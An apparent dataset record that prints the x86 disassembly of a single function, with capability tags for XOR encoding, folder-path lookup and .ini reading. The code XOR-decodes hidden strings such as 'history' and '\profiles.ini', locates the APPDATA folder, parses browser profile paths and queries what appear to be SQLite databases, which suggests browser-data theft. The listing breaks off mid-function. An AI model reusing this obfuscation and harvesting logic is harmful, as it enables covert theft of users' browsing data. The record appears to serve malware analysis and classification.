Function at 0x44d040
Capabilities:
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x530a58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14b0
push ebx
call fcn.00505c90
push esi
mov esi, ecx
mov dword [ebp - 0xd4], esi
push edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.0048e6c0
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x14], 1
mov eax, esp
mov dword [ebp - 0x39], 0xc6c2d9c7
xorps xmm0, xmm0
mov word [ebp - 0x35], 0xc6dc
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0x33], 0xcc
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0048ab50
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 7
jb 0x44d0f5
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x39]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d127
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
mov dword [ebp - 0x14], 0x80001
mov byte [ebp - 4], 4
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
mov ecx, esi
cmovae eax, dword [ebp - 0x58]
push eax
call fcn.00490ca0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xa8]
mov byte [edi], cl
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov byte [ebp - 0xa8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xa8]
mov dword [edi + 8], eax
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], esi
call fcn.0048a7b0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44d1d4
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d1ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
push 0x104
lea eax, [ebp - 0x4c0]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x4c0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x4c0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d208
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x44ebc7
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x4c0]
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x140]
call fcn.004946d0
mov dword [ebp - 0x14], 0x880001
mov byte [ebp - 4], 6
xorps xmm0, xmm0
mov dword [ebp - 0x3f], 0xddc3c0f3
xor ecx, ecx
mov dword [ebp - 0x3b], 0xd3d9ddd5
mov dword [ebp - 0x37], 0xd4d096c4
mov byte [ebp - 0x33], 0xd2
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0xd
jb 0x44d285
mov dword [0x56557c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3f]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d2b7
sub ecx, edx
lea eax, [ebp - 0x3f]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
mov dword [ebp - 0x14], 0xc80001
mov byte [ebp - 4], 7
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae edx, dword [ebp - 0x58]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d2e8
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x130]
sub eax, esi
cmp eax, ecx
jb 0x44ebcc
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x128]
call fcn.004946d0
mov edi, 0xe80001
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44d36d
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d363
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebd1
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x114], 0x10
lea eax, [ebp - 0x128]
cmovae eax, dword [ebp - 0x128]
push eax
push 0x1000
lea eax, [ebp - 0x14c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea esi, [ebp - 0x14c0]
mov dword [ebp - 0x94], esi
xorps xmm0, xmm0
mov dword [ebp - 0x39], 0xd4dec2ff
mov word [ebp - 0x35], 0xd8da
xor ecx, ecx
mov byte [ebp - 0x33], 0xd0
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
nop dword [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 7
jb 0x44d3d0
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x39]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d402
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
or edi, 8
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
push 7
cmovae eax, dword [ebp - 0x58]
push eax
push esi
mov dword [ebp - 0x14], edi
call fcn.0051269e
mov ecx, dword [ebp - 0x44]
add esp, 0xc
test eax, eax
sete al
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x44d474
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d467
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x15]
add esp, 8
test al, al
je 0x44ead5
push 0x104
lea eax, [ebp - 0x3b8]
push 0
push eax
call fcn.00506f10
add esp, 0xc
mov dword [ebp - 0x36], 0xdac5d1ff
cmp dword [ebp - 0x114], 0x10
lea esi, [ebp - 0x128]
xorps xmm0, xmm0
mov dword [ebp - 0x22], 0
cmovae esi, dword [ebp - 0x128]
xor ecx, ecx
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 4
jb 0x44d4c7
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d500
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
push esi
push 0x104
or edi, 0x80
lea ecx, [ebp - 0x3b8]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
push 0
push eax
push dword [ebp - 0x94]
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44d57a
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d570
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov byte [ebp - 0x78], 0xf3
movups xmmword [ebp - 0x77], xmm0
mov dword [ebp - 0x67], 0
xor ecx, ecx
mov word [ebp - 0x63], 0
mov byte [ebp - 0x61], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 1
jb 0x44d598
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x78]
mov byte [ebp - 0x77], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d5d0
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
or edi, 0x100
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae edx, dword [ebp - 0x58]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d603
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x130]
sub eax, esi
cmp eax, ecx
jb 0x44ebc7
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x90]
call fcn.004946d0
or edi, 0x200
mov dword [ebp - 0x14], edi
lea eax, [ebp - 0x3b8]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x90]
call fcn.0048c9d0
or edi, 0x400
mov dword [ebp - 0x14], edi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x44d6d3
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d6c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44d720
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d716
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
lea ecx, [ebp - 0x3b8]
mov dword [ebp - 0xac], 0
movups xmmword [ebp - 0xc0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d747
sub ecx, edx
lea eax, [ebp - 0x3b8]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00402c40
mov byte [ebp - 4], 0xf
lea edi, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
mov esi, dword [ebp - 0xb0]
cmovae edi, dword [ebp - 0xc0]
test esi, esi
je 0x44d915
push esi
push 0x2f
push edi
call fcn.00508700
add esp, 0xc
test eax, eax
je 0x44d915
sub eax, edi
cmp eax, 0xffffffff
je 0x44d915
xorps xmm0, xmm0
mov byte [ebp - 0x78], 0x80
movups xmmword [ebp - 0x77], xmm0
mov dword [ebp - 0x67], 0
xor ecx, ecx
mov word [ebp - 0x63], 0
mov byte [ebp - 0x61], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 1
jb 0x44d7c6
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x78]
mov byte [ebp - 0x77], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d7f8
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
or dword [ebp - 0x14], 0x10000
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x58]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5c], esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d845
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402c40
sub esp, 0x18
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0xc0]
mov ecx, esp
push eax
call fcn.0048ccc0
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x10
call fcn.0040e4f0
add esp, 0x30
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44d8b6
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44d8ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x1cc]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1d0]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xc0]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x44d900
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44d8f3
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.0048c8a0
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0xf
call fcn.0048eeb0
mov esi, dword [ebp - 0xb0]
cmp dword [ebp - 0xac], 0x10
lea edi, [ebp - 0xc0]
cmovae edi, dword [ebp - 0xc0]
test esi, esi
je 0x44daba
push esi
push 0x5c
push edi
call fcn.00508700
add esp, 0xc
test eax, eax
je 0x44daba
sub eax, edi
cmp eax, 0xffffffff
je 0x44daba
xorps xmm0, xmm0
mov byte [ebp - 0x78], 0xf3
movups xmmword [ebp - 0x77], xmm0
mov dword [ebp - 0x67], 0
xor ecx, ecx
mov word [ebp - 0x63], 0
mov byte [ebp - 0x61], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 1
jb 0x44d970
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x78]
mov byte [ebp - 0x77], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d9a2
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
or dword [ebp - 0x14], 0x8000
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x58]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5c], esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44d9f0
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402c40
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0xc0]
mov ecx, esp
push eax
call fcn.0048ccc0
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0x14
call fcn.0040e4f0
add esp, 0x30
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44da61
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44da57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x1a8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1ac]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xc0]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x44daab
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44da9e
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.0048c8a0
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0xf
call fcn.0048eeb0
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0xd3ddc0f3
mov dword [ebp - 0x3c], 0x98c6d1d0
xor ecx, ecx
mov dword [ebp - 0x38], 0xd3d5c9c4
mov word [ebp - 0x34], 0xd9cf
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 0xe
jb 0x44daf0
mov dword [0x565524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44db22
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
mov edi, dword [ebp - 0x14]
or edi, 0x800
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae edx, dword [ebp - 0x58]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44db58
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x1b4]
sub eax, esi
cmp eax, ecx
jb 0x44ebc7
cmp dword [ebp - 0x1b0], 0x10
lea eax, [ebp - 0x1c4]
push ecx
cmovae eax, dword [ebp - 0x1c4]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x110]
call fcn.004946d0
or edi, 0x1000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44dbde
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44dbd4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov word [ebp - 0x34], 0xd2dd
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
xor ecx, ecx
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 2
jb 0x44dc00
mov dword [0x565598], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x64], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44dc32
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402c40
or edi, 0x2000
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x110]
mov dword [ebp - 0x14], edi
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0xfc], 0x10
push ecx
cmovae eax, dword [ebp - 0x110]
push eax
call fcn.0050ad80
mov ecx, dword [ebp - 0x64]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x44dcb0
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44dca6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
test esi, esi
je 0x44e9df
push esi
call fcn.0050e798
add esp, 4
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x160]
push 0
mov byte [ebp - 0x168], 0
call fcn.0048e6c0
sub esp, 8
mov byte [ebp - 4], 0x1c
mov eax, esp
lea ecx, [ebp - 0xe8]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0048ab50
add esp, 8
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x168]
call fcn.0048a420
mov byte [ebp - 4], 0x1c
mov edi, eax
mov cl, byte [ebp - 0xe8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xe0]
mov byte [ebp - 0xe8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xe8]
mov dword [edi + 8], eax
mov dword [ebp - 0xe0], edx
mov dword [ebp - 0xdc], esi
call fcn.0048a7b0
cmp dword [ebp - 0xfc], 0x10
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0xc8]
cmovae ecx, dword [ebp - 0x110]
call fcn.0041ac90
test eax, eax
jne 0x44e8e0
movaps xmm0, xmmword [0x550f10]
xor ecx, ecx
movups xmmword [ebp - 0x2ab], xmm0
mov dword [ebp - 0x22b], 0x7162710f
movaps xmm0, xmmword [0x550db0]
movups xmmword [ebp - 0x29b], xmm0
mov dword [ebp - 0x217], eax
movaps xmm0, xmmword [0x551670]
movups xmmword [ebp - 0x28b], xmm0
mov word [ebp - 0x213], ax
movaps xmm0, xmmword [0x550e00]
movups xmmword [ebp - 0x27b], xmm0
mov byte [ebp - 0x211], al
movaps xmm0, xmmword [0x550e50]
movups xmmword [ebp - 0x26b], xmm0
movaps xmm0, xmmword [0x550ca0]
movups xmmword [ebp - 0x25b], xmm0
movaps xmm0, xmmword [str._yu2WQFU7TPWRH_I_____s____.]
movups xmmword [ebp - 0x24b], xmm0
movaps xmm0, xmmword [0x550c90]
movups xmmword [ebp - 0x23b], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x227], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x2ab], al
inc ecx
cmp ecx, 0x84
jb 0x44de30
mov dword [0x5655ec], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2ab]
mov byte [ebp - 0x227], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44de70
sub ecx, edx
lea eax, [ebp - 0x2ab]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402c40
or dword [ebp - 0x14], 0x40000
push 0
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x44], 0x10
lea edx, [ebp - 0x58]
mov ecx, dword [ebp - 0xc8]
cmovae edx, dword [ebp - 0x58]
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.004ea640
add esp, 0x14
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x44]
test eax, eax
sete al
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x44deff
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44def2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x15]
add esp, 8
test al, al
je 0x44e8d5
mov edi, dword [ebp - 0xd0]
mov ecx, edi
call fcn.004c6eb0
cmp eax, 0x64
jne 0x44e859
nop dword [eax]
test edi, edi
je 0x44df6f
cmp dword [edi + 0x2c], 0
je 0x44df4a
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x44df4a
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44df45
push eax
call dword [0x562d18]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x44df74
mov eax, dword [edi]
test eax, eax
je 0x44df6f
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44df61
push eax
call dword [0x562d18]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004b5810
add esp, 0xc
mov ecx, 0x54a500
mov dl, 1
call fcn.004c3d20
mov dword [ebp - 0x60], eax
test edi, edi
je 0x44e02e
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x44dfbc
cmp byte [esi + 0x1e], 0
jne 0x44df9f
mov edx, esi
cmp ecx, 0xc0a
jne 0x44dfb7
push 0
push 7
push esi
call fcn.004b5810
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x44dfc3
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x44dfd9
push eax
call dword [0x562d20]
add esp, 4
test edi, edi
je 0x44e02e
cmp dword [edi + 0x2c], 0
je 0x44e009
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x44e009
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44e001
push eax
call dword [0x562d18]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x44e033
mov eax, dword [edi]
test eax, eax
je 0x44e02e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44e020
push eax
call dword [0x562d18]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004b5810
add esp, 0xc
mov ecx, 0x54a500
mov dl, 1
call fcn.004c3d20
mov dword [ebp - 0x5c], eax
test edi, edi
je 0x44e094
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x44e077
cmp byte [esi + 0x1e], 0
jne 0x44e05a
mov edx, esi
cmp ecx, 0xc0a
jne 0x44e072
push 0
push 7
push esi
call fcn.004b5810
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x44e07e
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x44e094
push eax
call dword [0x562d20]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x158], 0x86
movups xmmword [ebp - 0x157], xmm0
mov dword [ebp - 0x147], 0
xor ecx, ecx
mov word [ebp - 0x143], 0
mov byte [ebp - 0x141], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x158], al
inc ecx
cmp ecx, 1
jb 0x44e0c1
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x157], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop
mov al, byte [ecx]
